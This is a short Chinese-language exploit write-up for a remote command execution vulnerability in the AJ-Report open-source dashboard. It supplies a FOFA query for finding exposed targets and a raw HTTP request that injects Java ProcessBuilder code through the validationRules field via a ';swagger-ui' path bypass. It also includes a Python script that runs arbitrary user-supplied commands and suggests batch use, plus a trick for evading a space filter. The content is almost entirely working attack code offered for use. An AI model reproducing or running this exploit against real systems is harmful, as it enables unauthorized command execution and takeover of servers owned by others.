AJ-Report开源数据大屏 verification；swagger-ui 远程命令执行漏洞

fofa搜索语法
　FOFA：title="AJ-Report"
fofa

poc

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder("id").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

pythonpoc

import requests
import json

user_input = input("请输入要执行的命令: ")
# 这里你可以进行修改，做个批量
url = '你的url/dataSetParam/verification;swagger-ui/'

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Content-Type': 'application/json;charset=UTF-8',
    'Connection': 'close'
}


data = {
    "ParamName": "",
    "paramDesc": "",
    "paramType": "",
    "sampleItem": "1",
    "mandatory": True,
    "requiredFlag": 1,
    "validationRules": f"function verification(data){{a = new java.lang.ProcessBuilder(\"{user_input}\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){{ss+=line}};return ss;}}"
}


response = requests.post(url, headers=headers, data=json.dumps(data))

print("状态码:", response.status_code)
print("响应内容:", response.text)

这里命令执行是不能加空格的，否则会拦截
如何执行空格命令，我们用特殊字符来代替
空格 == %20
实例：
　ls -l == ls%20-l